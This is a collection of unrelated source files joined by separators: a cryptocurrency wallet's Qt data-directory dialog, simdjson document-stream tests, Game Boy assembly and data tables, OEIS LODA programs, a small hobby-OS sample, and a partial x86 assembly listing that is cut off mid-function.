Q_SIGNALS:
void reply(int status, const QString &message, quint64 available);
private:
Intro *intro;
};
#include "intro.moc"
FreespaceChecker::FreespaceChecker(Intro *_intro)
{
this->intro = _intro;
}
void FreespaceChecker::check()
{
QString dataDirStr = intro->getPathToCheck();
fs::path dataDir = GUIUtil::qstringToBoostPath(dataDirStr);
uint64_t freeBytesAvailable = 0;
int replyStatus = ST_OK;
QString replyMessage = tr("A new data directory will be created.");
/* Find first parent that exists, so that fs::space does not fail */
fs::path parentDir = dataDir;
fs::path parentDirOld = fs::path();
while(parentDir.has_parent_path() && !fs::exists(parentDir))
{
parentDir = parentDir.parent_path();
/* Check if we make any progress, break if not to prevent an infinite loop here */
if (parentDirOld == parentDir)
break;
parentDirOld = parentDir;
}
try {
freeBytesAvailable = fs::space(parentDir).available;
if(fs::exists(dataDir))
{
if(fs::is_directory(dataDir))
{
QString separator = "<code>" + QDir::toNativeSeparators("/") + tr("name") + "</code>";
replyStatus = ST_OK;
replyMessage = tr("Directory already exists. Add %1 if you intend to create a new directory here.").arg(separator);
} else {
replyStatus = ST_ERROR;
replyMessage = tr("Path already exists, and is not a directory.");
}
}
} catch (const fs::filesystem_error&)
{
/* Parent directory does not exist or is not accessible */
replyStatus = ST_ERROR;
replyMessage = tr("Cannot create data directory here.");
}
Q_EMIT reply(replyStatus, replyMessage, freeBytesAvailable);
}
Intro::Intro(QWidget *parent) :
QDialog(parent),
ui(new Ui::Intro),
thread(0),
signalled(false)
{
ui->setupUi(this);
ui->welcomeLabel->setText(ui->welcomeLabel->text().arg(tr(PACKAGE_NAME)));
ui->storageLabel->setText(ui->storageLabel->text().arg(tr(PACKAGE_NAME)));
ui->lblExplanation1->setText(ui->lblExplanation1->text()
.arg(tr(PACKAGE_NAME))
.arg(BLOCK_CHAIN_SIZE)
.arg(2009)
.arg(tr("Favcoin"))
);
ui->lblExplanation2->setText(ui->lblExplanation2->text().arg(tr(PACKAGE_NAME)));
uint64_t pruneTarget = std::max<int64_t>(0, gArgs.GetArg("-prune", 0));
requiredSpace = BLOCK_CHAIN_SIZE;
QString storageRequiresMsg = tr("At least %1 GB of data will be stored in this directory, and it will grow over time.");
if (pruneTarget) {
uint64_t prunedGBs = std::ceil(pruneTarget * 1024 * 1024.0 / GB_BYTES);
if (prunedGBs <= requiredSpace) {
requiredSpace = prunedGBs;
storageRequiresMsg = tr("Approximately %1 GB of data will be stored in this directory.");
}
ui->lblExplanation3->setVisible(true);
} else {
ui->lblExplanation3->setVisible(false);
}
requiredSpace += CHAIN_STATE_SIZE;
ui->sizeWarningLabel->setText(
tr("%1 will download and store a copy of the Favcoin block chain.").arg(tr(PACKAGE_NAME)) + " " +
storageRequiresMsg.arg(requiredSpace) + " " +
tr("The wallet will also be stored in this directory.")
);
startThread();
}
Intro::~Intro()
{
delete ui;
/* Ensure thread is finished before it is deleted */
Q_EMIT stopThread();
thread->wait();
}
QString Intro::getDataDirectory()
{
return ui->dataDirectory->text();
}
void Intro::setDataDirectory(const QString &dataDir)
{
ui->dataDirectory->setText(dataDir);
if(dataDir == getDefaultDataDirectory())
{
ui->dataDirDefault->setChecked(true);
ui->dataDirectory->setEnabled(false);
ui->ellipsisButton->setEnabled(false);
} else {
ui->dataDirCustom->setChecked(true);
ui->dataDirectory->setEnabled(true);
ui->ellipsisButton->setEnabled(true);
}
}
QString Intro::getDefaultDataDirectory()
{
return GUIUtil::boostPathToQString(GetDefaultDataDir());
}
bool Intro::pickDataDirectory()
{
QSettings settings;
/* If data directory provided on command line, no need to look at settings
or show a picking dialog */
if(!gArgs.GetArg("-datadir", "").empty())
return true;
/* 1) Default data directory for operating system */
QString dataDir = getDefaultDataDirectory();
/* 2) Allow QSettings to override default dir */
dataDir = settings.value("strDataDir", dataDir).toString();
if(!fs::exists(GUIUtil::qstringToBoostPath(dataDir)) || gArgs.GetBoolArg("-choosedatadir", DEFAULT_CHOOSE_DATADIR) || settings.value("fReset", false).toBool() || gArgs.GetBoolArg("-resetguisettings", false))
{
/* If current default data directory does not exist, let the user choose one */
Intro intro;
intro.setDataDirectory(dataDir);
intro.setWindowIcon(QIcon(":icons/bitcoin"));
while(true)
{
if(!intro.exec())
{
/* Cancel clicked */
return false;
}
dataDir = intro.getDataDirectory();
try {
TryCreateDirectories(GUIUtil::qstringToBoostPath(dataDir));
break;
} catch (const fs::filesystem_error&) {
QMessageBox::critical(0, tr(PACKAGE_NAME),
tr("Error: Specified data directory \"%1\" cannot be created.").arg(dataDir));
/* fall through, back to choosing screen */
}
}
settings.setValue("strDataDir", dataDir);
settings.setValue("fReset", false);
}
/* Only override -datadir if different from the default, to make it possible to
* override -datadir in the bitcoin.conf file in the default data directory
* (to be consistent with bitcoind behavior)
*/
if(dataDir != getDefaultDataDirectory())
gArgs.SoftSetArg("-datadir", GUIUtil::qstringToBoostPath(dataDir).string()); // use OS locale for path setting
return true;
}
void Intro::setStatus(int status, const QString &message, quint64 bytesAvailable)
{
switch(status)
{
case FreespaceChecker::ST_OK:
ui->errorMessage->setText(message);
ui->errorMessage->setStyleSheet("");
break;
case FreespaceChecker::ST_ERROR:
ui->errorMessage->setText(tr("Error") + ": " + message);
ui->errorMessage->setStyleSheet("QLabel { color: #800000 }");
break;
}
/* Indicate number of bytes available */
if(status == FreespaceChecker::ST_ERROR)
{
ui->freeSpace->setText("");
} else {
QString freeString = tr("%n GB of free space available", "", bytesAvailable/GB_BYTES);
if(bytesAvailable < requiredSpace * GB_BYTES)
{
freeString += " " + tr("(of %n GB needed)", "", requiredSpace);
ui->freeSpace->setStyleSheet("QLabel { color: #800000 }");
} else {
ui->freeSpace->setStyleSheet("");
}
ui->freeSpace->setText(freeString + ".");
}
/* Don't allow confirm in ERROR state */
ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(status != FreespaceChecker::ST_ERROR);
}
void Intro::on_dataDirectory_textChanged(const QString &dataDirStr)
{
/* Disable OK button until check result comes in */
ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(false);
checkPath(dataDirStr);
}
void Intro::on_ellipsisButton_clicked()
{
QString dir = QDir::toNativeSeparators(QFileDialog::getExistingDirectory(0, "Choose data directory", ui->dataDirectory->text()));
if(!dir.isEmpty())
ui->dataDirectory->setText(dir);
}
void Intro::on_dataDirDefault_clicked()
{
setDataDirectory(getDefaultDataDirectory());
}
void Intro::on_dataDirCustom_clicked()
{
ui->dataDirectory->setEnabled(true);
ui->ellipsisButton->setEnabled(true);
}
void Intro::startThread()
{
thread = new QThread(this);
FreespaceChecker *executor = new FreespaceChecker(this);
executor->moveToThread(thread);
connect(executor, SIGNAL(reply(int,QString,quint64)), this, SLOT(setStatus(int,QString,quint64)));
connect(this, SIGNAL(requestCheck()), executor, SLOT(check()));
/* make sure executor object is deleted in its own thread */
connect(this, SIGNAL(stopThread()), executor, SLOT(deleteLater()));
connect(this, SIGNAL(stopThread()), thread, SLOT(quit()));
thread->start();
}
void Intro::checkPath(const QString &dataDir)
{
mutex.lock();
pathToCheck = dataDir;
if(!signalled)
{
signalled = true;
Q_EMIT requestCheck();
}
mutex.unlock();
}
QString Intro::getPathToCheck()
{
QString retval;
mutex.lock();
retval = pathToCheck;
signalled = false; /* new request can be queued now */
mutex.unlock();
return retval;
}
|
#include "simdjson.h"
#include "test_ondemand.h"
using namespace simdjson;
namespace document_stream_tests {
template <typename T>
bool process_doc(T &docref) {
int64_t val;
ASSERT_SUCCESS(docref.at_pointer("/4").get(val));
//ASSERT_SUCCESS(err);
ASSERT_EQUAL(val, 5);
return true;
}
bool issue1683() {
TEST_START();
std::string json = R"([1,2,3,4,5]
[1,2,3,4,5]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100]
[1,2,3,4,5])";
ondemand::parser odparser;
ondemand::document_stream odstream;
// iterate_many all at once
auto oderror = odparser.iterate_many(json, 50).get(odstream);
if (oderror) { std::cerr << "ondemand iterate_many error: " << oderror << std::endl; return false; }
size_t currindex = 0;
auto i = odstream.begin();
for (; i != odstream.end(); ++i) {
ondemand::document_reference doc;
auto err = (*i).get(doc);
if(err == SUCCESS) { if(!process_doc(doc)) {return false; } }
currindex = i.current_index();
if (err == simdjson::CAPACITY) {
ASSERT_EQUAL(currindex, 24);
ASSERT_EQUAL(odstream.truncated_bytes(), 305);
break;
} else if (err) {
TEST_FAIL(std::string("ondemand: error accessing jsonpointer: ") + simdjson::error_message(err));
}
}
ASSERT_EQUAL(odstream.truncated_bytes(), 305);
// iterate line-by-line
std::stringstream ss(json);
std::string oneline;
oneline.reserve(json.size() + SIMDJSON_PADDING);
while (getline(ss, oneline)) {
ondemand::document doc;
ASSERT_SUCCESS(odparser.iterate(oneline).get(doc));
if( ! process_doc(doc) ) { return false; }
}
TEST_SUCCEED();
}
bool simple_document_iteration() {
TEST_START();
auto json = R"([1,[1,2]] {"a":1,"b":2} {"o":{"1":1,"2":2}} [1,2,3])"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
std::string_view expected[4] = {"[1,[1,2]]", "{\"a\":1,\"b\":2}", "{\"o\":{\"1\":1,\"2\":2}}", "[1,2,3]"};
size_t counter{0};
for(auto doc : stream) {
ASSERT_TRUE(counter < 4);
std::string_view view;
ASSERT_SUCCESS(to_json_string(doc).get(view));
ASSERT_EQUAL(view, expected[counter++]);
}
ASSERT_EQUAL(counter, 4);
TEST_SUCCEED();
}
bool simple_document_iteration_multiple_batches() {
TEST_START();
auto json = R"([1,[1,2]] {"a":1,"b":2} {"o":{"1":1,"2":2}} [1,2,3])"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json,32).get(stream));
std::string_view expected[4] = {"[1,[1,2]]", "{\"a\":1,\"b\":2}", "{\"o\":{\"1\":1,\"2\":2}}", "[1,2,3]"};
size_t counter{0};
for(auto i = stream.begin(); i != stream.end(); ++i) {
ASSERT_TRUE(counter < 4);
ASSERT_EQUAL(i.source(), expected[counter++]);
}
ASSERT_EQUAL(counter, 4);
TEST_SUCCEED();
}
bool simple_document_iteration_with_parsing() {
TEST_START();
auto json = R"([1,[1,2]] {"a":1,"b":2} {"o":{"1":1,"2":2}} [1,2,3])"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
std::string_view expected[4] = {"[1,[1,2]]", "{\"a\":1,\"b\":2}", "{\"o\":{\"1\":1,\"2\":2}}", "[1,2,3]"};
size_t counter{0};
auto i = stream.begin();
int64_t x;
ASSERT_EQUAL(i.source(),expected[counter++]);
ASSERT_SUCCESS( (*i).at_pointer("/1/1").get(x) );
ASSERT_EQUAL(x,2);
++i;
ASSERT_EQUAL(i.source(),expected[counter++]);
simdjson_result<ondemand::document_reference> xxx = *i;
ASSERT_SUCCESS( xxx.find_field("a").get(x) );
ASSERT_EQUAL(x,1);
++i;
ASSERT_EQUAL(i.source(),expected[counter++]);
ASSERT_SUCCESS( (*i).at_pointer("/o/2").get(x) );
ASSERT_EQUAL(x,2);
++i;
ASSERT_EQUAL(i.source(),expected[counter++]);
ASSERT_SUCCESS( (*i).at_pointer("/2").get(x) );
ASSERT_EQUAL(x,3);
++i;
if (i != stream.end()) { return false; }
TEST_SUCCEED();
}
bool atoms_json() {
TEST_START();
auto json = R"(5 true 20.3 "string" )"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
std::string_view expected[4] = {"5", "true", "20.3", "\"string\""};
size_t counter{0};
for (auto i = stream.begin(); i != stream.end(); ++i) {
ASSERT_EQUAL(i.source(), expected[counter++]);
}
ASSERT_EQUAL(counter,4);
TEST_SUCCEED();
}
bool doc_index() {
TEST_START();
auto json = R"({"z":5} {"1":1,"2":2,"4":4} [7, 10, 9] [15, 11, 12, 13] [154, 110, 112, 1311])"_padded;
std::string_view expected[5] = {R"({"z":5})",R"({"1":1,"2":2,"4":4})","[7, 10, 9]","[15, 11, 12, 13]","[154, 110, 112, 1311]"};
size_t expected_indexes[5] = {0, 9, 29, 44, 65};
ondemand::parser parser;
ondemand::document_stream stream;
size_t counter{0};
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
for(auto i = stream.begin(); i != stream.end(); ++i) {
ASSERT_TRUE(counter < 5);
ASSERT_EQUAL(i.current_index(), expected_indexes[counter]);
ASSERT_EQUAL(i.source(), expected[counter]);
counter++;
}
ASSERT_EQUAL(counter, 5);
TEST_SUCCEED();
}
bool doc_index_multiple_batches() {
TEST_START();
auto json = R"({"z":5} {"1":1,"2":2,"4":4} [7, 10, 9] [15, 11, 12, 13] [154, 110, 112, 1311])"_padded;
std::string_view expected[5] = {R"({"z":5})",R"({"1":1,"2":2,"4":4})","[7, 10, 9]","[15, 11, 12, 13]","[154, 110, 112, 1311]"};
size_t expected_indexes[5] = {0, 9, 29, 44, 65};
ondemand::parser parser;
ondemand::document_stream stream;
size_t counter{0};
ASSERT_SUCCESS(parser.iterate_many(json,32).get(stream));
for(auto i = stream.begin(); i != stream.end(); ++i) {
ASSERT_TRUE(counter < 5);
ASSERT_EQUAL(i.current_index(), expected_indexes[counter]);
ASSERT_EQUAL(i.source(), expected[counter]);
counter++;
}
ASSERT_EQUAL(counter, 5);
TEST_SUCCEED();
}
bool source_test() {
TEST_START();
auto json = R"([1,[1,2]] {"a":1,"b":2} {"o":{"1":1,"2":2}} [1,2,3] )"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
std::string_view expected[4] = {"[1,[1,2]]", "{\"a\":1,\"b\":2}", "{\"o\":{\"1\":1,\"2\":2}}", "[1,2,3]"};
size_t counter{0};
for (auto i = stream.begin(); i != stream.end(); ++i) {
ASSERT_EQUAL(i.source(), expected[counter++]);
}
ASSERT_EQUAL(counter,4);
TEST_SUCCEED();
}
bool truncated() {
TEST_START();
// The last JSON document is intentionally truncated.
auto json = R"([1,2,3] {"1":1,"2":3,"4":4} [1,2 )"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
size_t counter{0};
for (auto i = stream.begin(); i != stream.end(); ++i) {
counter++;
}
size_t truncated = stream.truncated_bytes();
ASSERT_EQUAL(truncated, 6);
ASSERT_EQUAL(counter,2);
TEST_SUCCEED();
}
bool truncated_complete_docs() {
TEST_START();
auto json = R"([1,2,3] {"1":1,"2":3,"4":4} [1,2] )"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
size_t counter{0};
for (auto i = stream.begin(); i != stream.end(); ++i) {
counter++;
}
size_t truncated = stream.truncated_bytes();
ASSERT_EQUAL(truncated, 0);
ASSERT_EQUAL(counter,3);
TEST_SUCCEED();
}
bool truncated_unclosed_string() {
TEST_START();
// The last JSON document is intentionally truncated.
auto json = R"([1,2,3] {"1":1,"2":3,"4":4} "intentionally unclosed string )"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
// We use a window of json.size() though any large value would do.
ASSERT_SUCCESS( parser.iterate_many(json).get(stream) );
size_t counter{0};
for(auto i = stream.begin(); i != stream.end(); ++i) {
counter++;
}
size_t truncated = stream.truncated_bytes();
ASSERT_EQUAL(counter,2);
ASSERT_EQUAL(truncated,32);
TEST_SUCCEED();
}
bool truncated_unclosed_string_in_object() {
// The last JSON document is intentionally truncated.
auto json = R"([1,2,3] {"1":1,"2":3,"4":4} {"key":"intentionally unclosed string )"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS( parser.iterate_many(json).get(stream) );
size_t counter{0};
for(auto i = stream.begin(); i != stream.end(); ++i) {
counter++;
}
size_t truncated = stream.truncated_bytes();
ASSERT_EQUAL(counter,2);
ASSERT_EQUAL(truncated,39);
TEST_SUCCEED();
}
bool small_window() {
TEST_START();
std::vector<char> input;
input.push_back('[');
for(size_t i = 1; i < 1024; i++) {
input.push_back('1');
input.push_back(i < 1023 ? ',' : ']');
}
auto json = simdjson::padded_string(input.data(),input.size());
ondemand::parser parser;
size_t window_size{1024}; // deliberately too small
ondemand::document_stream stream;
ASSERT_SUCCESS( parser.iterate_many(json, window_size).get(stream) );
auto i = stream.begin();
ASSERT_ERROR(i.error(), CAPACITY);
ASSERT_EQUAL(stream.truncated_bytes(), json.length());
TEST_SUCCEED();
}
bool large_window() {
TEST_START();
#if SIZE_MAX > 17179869184
auto json = R"({"error":[],"result":{"token":"xxx"}}{"error":[],"result":{"token":"xxx"}})"_padded;
ondemand::parser parser;
uint64_t window_size{17179869184}; // deliberately too big
ondemand::document_stream stream;
ASSERT_SUCCESS( parser.iterate_many(json, size_t(window_size)).get(stream) );
auto i = stream.begin();
ASSERT_ERROR(i.error(),CAPACITY);
#endif
TEST_SUCCEED();
}
bool test_leading_spaces() {
TEST_START();
auto input = R"( [1,1] [1,2] [1,3] [1,4] [1,5] [1,6] [1,7] [1,8] [1,9] [1,10] [1,11] [1,12] [1,13] [1,14] [1,15] )"_padded;;
size_t count{0};
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(input, 32).get(stream));
for(auto i = stream.begin(); i != stream.end(); ++i) {
ASSERT_SUCCESS(i.error());
count++;
}
ASSERT_EQUAL(count,15);
TEST_SUCCEED();
}
bool test_crazy_leading_spaces() {
TEST_START();
auto input = R"( [1,1] [1,2] [1,3] [1,4] [1,5] [1,6] [1,7] [1,8] [1,9] [1,10] [1,11] [1,12] [1,13] [1,14] [1,15] )"_padded;;
size_t count{0};
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(input, 32).get(stream));
for(auto i = stream.begin(); i != stream.end(); ++i) {
ASSERT_SUCCESS(i.error());
count++;
}
ASSERT_EQUAL(count,15);
TEST_SUCCEED();
}
bool adversarial_single_document() {
TEST_START();
auto json = R"({"f[)"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
size_t count{0};
for (auto doc : stream) {
(void)doc;
count++;
}
ASSERT_EQUAL(count,0);
TEST_SUCCEED();
}
bool adversarial_single_document_array() {
TEST_START();
auto json = R"(["this is an unclosed string ])"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(json).get(stream));
size_t count{0};
for (auto doc : stream) {
(void)doc;
count++;
}
ASSERT_EQUAL(count,0);
TEST_SUCCEED();
}
bool document_stream_test() {
TEST_START();
fflush(NULL);
const size_t n_records = 100;
std::string data;
std::vector<char> buf(1024);
// Generating data
for (size_t i = 0; i < n_records; ++i) {
size_t n = snprintf(buf.data(),
buf.size(),
"{\"id\": %zu, \"name\": \"name%zu\", \"gender\": \"%s\", "
"\"ete\": {\"id\": %zu, \"name\": \"eventail%zu\"}}",
i, i, (i % 2) ? "homme" : "femme", i % 10, i % 10);
if (n >= buf.size()) { abort(); }
data += std::string(buf.data(), n);
}
for(size_t batch_size = 1000; batch_size < 2000; batch_size += (batch_size>1050?10:1)) {
fflush(NULL);
simdjson::padded_string str(data);
ondemand::parser parser;
ondemand::document_stream stream;
size_t count{0};
ASSERT_SUCCESS( parser.iterate_many(str, batch_size).get(stream) );
for (auto doc : stream) {
int64_t keyid;
ASSERT_SUCCESS( doc["id"].get(keyid) );
ASSERT_EQUAL( keyid, int64_t(count) );
count++;
}
ASSERT_EQUAL(count,n_records);
}
TEST_SUCCEED();
}
bool issue1668() {
TEST_START();
auto json = R"([1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100])"_padded;
ondemand::parser odparser;
ondemand::document_stream odstream;
ASSERT_SUCCESS( odparser.iterate_many(json.data(), json.length(), 50).get(odstream) );
for (auto doc: odstream) {
ondemand::value val;
ASSERT_ERROR(doc.at_pointer("/40").get(val), CAPACITY);
ASSERT_EQUAL(odstream.truncated_bytes(), json.length());
}
TEST_SUCCEED();
}
bool issue1668_long() {
TEST_START();
auto json = R"([1,2,3,4,5] [1,2,3,4,5] [1,2,3,4,5] [1,2,3,4,5] [1,2,3,4,5] [1,2,3,4,5] [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100])"_padded;
ondemand::parser odparser;
ondemand::document_stream odstream;
size_t counter{0};
ASSERT_SUCCESS( odparser.iterate_many(json.data(), json.length(), 50).get(odstream) );
for (auto doc: odstream) {
if(counter < 6) {
int64_t val;
ASSERT_SUCCESS(doc.at_pointer("/4").get(val));
ASSERT_EQUAL(val, 5);
} else {
ondemand::value val;
ASSERT_ERROR(doc.at_pointer("/4").get(val), CAPACITY);
// We left 293 bytes unprocessed.
ASSERT_EQUAL(odstream.truncated_bytes(), 293);
}
counter++;
}
TEST_SUCCEED();
}
bool document_stream_utf8_test() {
TEST_START();
fflush(NULL);
const size_t n_records = 100;
std::string data;
std::vector<char> buf(1024);
// Generating data
for (size_t i = 0; i < n_records; ++i) {
size_t n = snprintf(buf.data(),
buf.size(),
"{\"id\": %zu, \"name\": \"name%zu\", \"gender\": \"%s\", "
"\"\xC3\xA9t\xC3\xA9\": {\"id\": %zu, \"name\": \"\xC3\xA9ventail%zu\"}}",
i, i, (i % 2) ? "\xE2\xBA\x83" : "\xE2\xBA\x95", i % 10, i % 10);
if (n >= buf.size()) { abort(); }
data += std::string(buf.data(), n);
}
for(size_t batch_size = 1000; batch_size < 2000; batch_size += (batch_size>1050?10:1)) {
fflush(NULL);
simdjson::padded_string str(data);
ondemand::parser parser;
ondemand::document_stream stream;
size_t count{0};
ASSERT_SUCCESS( parser.iterate_many(str, batch_size).get(stream) );
for (auto doc : stream) {
int64_t keyid;
ASSERT_SUCCESS( doc["id"].get(keyid) );
ASSERT_EQUAL( keyid, int64_t(count) );
count++;
}
ASSERT_EQUAL( count, n_records )
}
TEST_SUCCEED();
}
bool stress_data_race() {
TEST_START();
// Correct JSON.
auto input = R"([1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] )"_padded;;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(input, 32).get(stream));
for(auto i = stream.begin(); i != stream.end(); ++i) {
ASSERT_SUCCESS(i.error());
}
TEST_SUCCEED();
}
bool stress_data_race_with_error() {
TEST_START();
#if SIMDJSON_THREAD_ENABLED
std::cout << "ENABLED" << std::endl;
#endif
// Intentionally broken
auto input = R"([1,23] [1,23] [1,23] [1,23 [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] [1,23] )"_padded;
ondemand::parser parser;
ondemand::document_stream stream;
ASSERT_SUCCESS(parser.iterate_many(input, 32).get(stream));
size_t count{0};
for(auto i = stream.begin(); i != stream.end(); ++i) {
auto error = i.error();
if(count <= 3) {
ASSERT_SUCCESS(error);
} else {
ASSERT_ERROR(error,TAPE_ERROR);
break;
}
count++;
}
TEST_SUCCEED();
}
bool fuzzaccess() {
TEST_START();
// Issue 38801 in oss-fuzz
auto json = "\xff \n~~\n{}"_padded;
ondemand::parser parser;
ondemand::document_stream docs;
ASSERT_SUCCESS(parser.iterate_many(json).get(docs));
size_t bool_count = 0;
size_t total_count = 0;
for (auto doc : docs) {
total_count++;
bool b;
if(doc.get_bool().get(b) == SUCCESS) { bool_count +=b; }
}
return (bool_count == 0) && (bool_count == 0);
}
bool run() {
return
issue1683() &&
issue1668() &&
issue1668_long() &&
simple_document_iteration() &&
simple_document_iteration_multiple_batches() &&
simple_document_iteration_with_parsing() &&
atoms_json() &&
doc_index() &&
doc_index_multiple_batches() &&
source_test() &&
truncated() &&
truncated_complete_docs() &&
truncated_unclosed_string() &&
small_window() &&
large_window() &&
test_leading_spaces() &&
test_crazy_leading_spaces() &&
adversarial_single_document() &&
adversarial_single_document_array() &&
document_stream_test() &&
document_stream_utf8_test() &&
stress_data_race() &&
stress_data_race_with_error() &&
true;
}
} // document_stream_tests
int main (int argc, char *argv[]) {
return test_main(argc, argv, document_stream_tests::run);
} |
Unknown_170470:
db $12
db $24
db $45
db $45
db $42
db $42
db $45
db $42
db $27
db $27
db $45
db $27
db $42
db $24
Unknown_17047e:
db $03, 4
db $05, 8
db $03, 5
db $0e, 6
db $03, 2
db $00, 0
db $39, 7
db $07, 4
db $00, 5
db $04, 7
db $01, 5
db $00, 0
db $0f, 5
db $14, 7
db $05, 5
db $11, 12
db $0c, 6
db $06, 4
|
.size 8000
.text@48
ei
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld c, 44
ld b, 90
lbegin_waitly90:
ldff a, (c)
cmp a, b
jrnz lbegin_waitly90
ld hl, 8000
xor a, a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld hl, 8010
ld a, ff
ld(hl++), a
ld(hl++), a
ld a, 01
ld b, 32
ld hl, 9a40
lbegin_settilemap:
ld(hl++), a
dec b
jrnz lbegin_settilemap
ld a, 80
ldff(68), a
ld a, ff
ld c, 69
ldff(c), a
ldff(c), a
ld a, aa
ldff(c), a
ldff(c), a
ld a, 55
ldff(c), a
ldff(c), a
xor a, a
ldff(c), a
ldff(c), a
ld c, 41
ld b, 03
lbegin_waitm3:
ldff a, (c)
and a, b
cmp a, b
jrnz lbegin_waitm3
ld a, 20
ldff(c), a
ld a, 02
ldff(ff), a
ei
ld c, 42
ld b, 90
.text@1000
lstatint:
nop
.text@101c
ldff a, (44)
ld d, a
ld a, b
sub a, d
ldff(c), a
pop hl
xor a, a
.text@1069
ldff(c), a
|
; A064994: A Beatty sequence from Khintchine's constant (A002210).
; Submitted by Jamie Morken(s2)
; 1,3,5,6,8,10,11,13,15,16,18,20,21,23,25,26,28,30,32,33,35,37,38,40,42,43,45,47,48,50,52,53,55,57,58,60,62,64,65,67,69,70,72,74,75,77,79,80,82,84,85,87,89,91,92,94,96,97,99,101,102,104,106,107,109,111,112,114
mov $3,$0
mov $7,$0
add $0,1
lpb $0
div $0,7
add $0,6
mov $1,2
mov $2,$0
add $2,$7
mul $3,6
mov $6,1
sub $6,$0
mov $0,8
mul $1,$6
sub $1,1
add $0,$1
sub $4,$0
mul $0,2
add $0,$3
add $0,$2
add $4,1
mov $5,$2
sub $5,$2
add $5,$4
mov $4,1
add $4,$0
mov $0,1
add $5,$4
add $0,$5
div $0,10
lpe
add $0,$7
add $0,1
|
; asmsyntax=apricos
; Sample program for ApricotOS
;
; To execute this program, assemble it along with
; the rest of the OS, and execute it by entering
; 'memexec 1500' ino the shell.
#segment 0x15
#name "testprogram"
#include "apricotos.asm"
#include "disp.asm"
LDI MESSAGE
ASET 8
LDah
ASET 9
LDal
ASET 10
OS_CALLFUNC LIBDISP_PUTSTR
OS_PROG_EXIT
MESSAGE: .stringz "Hello! You have just executed ApricotOS' first program!\n"
|
; void PSGRestoreVolumes(void)
SECTION code_clib
SECTION code_PSGlib
PUBLIC PSGRestoreVolumes
EXTERN asm_PSGlib_RestoreVolumes
defc PSGRestoreVolumes = asm_PSGlib_RestoreVolumes
|
; A020125: Ceiling of GAMMA(n+5/6)/GAMMA(5/6).
; Submitted by Jon Maiga
; 1,1,2,5,17,81,468,3197,25043,221209,2175217,23564851,278850731,3578584369,49503750433,734305631413,11626505830702,195712848150141,3490212458677515,65732334638426517,1303691303662125906
mov $1,1
mov $3,1
lpb $0
mul $1,3
mov $2,$0
sub $0,1
mul $2,6
sub $2,1
mul $1,$2
mul $3,18
lpe
add $3,1
div $1,$3
mov $0,$1
add $0,1
|
.file "test.c"
.intel_syntax noprefix
.text
.type second_func, @function
second_func:
.LFB0:
.cfi_startproc
push ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
mov ebp, esp
.cfi_def_cfa_register 5
call __x86.get_pc_thunk.ax
add eax, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_
mov eax, DWORD PTR 8[ebp]
mov edx, DWORD PTR [eax]
mov eax, DWORD PTR 12[ebp]
add edx, eax
mov eax, DWORD PTR 8[ebp]
mov DWORD PTR [eax], edx
nop
pop ebp
.cfi_restore 5
